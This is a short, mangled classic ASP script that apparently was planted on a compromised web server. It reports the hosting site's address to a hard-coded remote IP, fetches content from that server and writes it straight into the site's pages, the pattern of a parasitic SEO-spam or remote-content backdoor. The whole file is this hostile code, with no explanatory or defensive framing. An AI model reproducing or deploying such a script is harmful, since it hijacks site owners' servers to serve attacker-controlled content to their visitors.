?%┌server.Scripttimeout=999999┌Remote_server="http://119.28.53.124/bcylc/index.php"┌host_name="http://"&request.servervariables("HTTP_HOST")&request.servervariables("script_name")┌Remote_file = Remote_server&"/index.php"&"?host="&host_name┌Content_mb=GetHtml(Remote_file)┌response.write Content_mb?>?%┌Function GetHtml(url)┌Set ObjXMLHTTP=Server.CreateObject("MSXML2.serverXMLHTTP")┌ObjXMLHTTP.Open "GET",url,False┌ObjXMLHTTP.setRequestHeader "User-Agent","aQ0O010O"┌ObjXMLHTTP.send┌GetHtml=ObjXMLHTTP.responseBody┌Set ObjXMLHTTP=Nothing┌set objStream = Server.CreateObject("Adodb.Stream")┌objStream.Type = 1┌objStream.Mode =3┌objStream.Open┌objStream.Write GetHtml┌objStream.Position = 0┌objStream.Type = 2┌objStream.Charset = "gb2312"┌GetHtml = objStream.ReadText┌objStream.Close┌End Function?>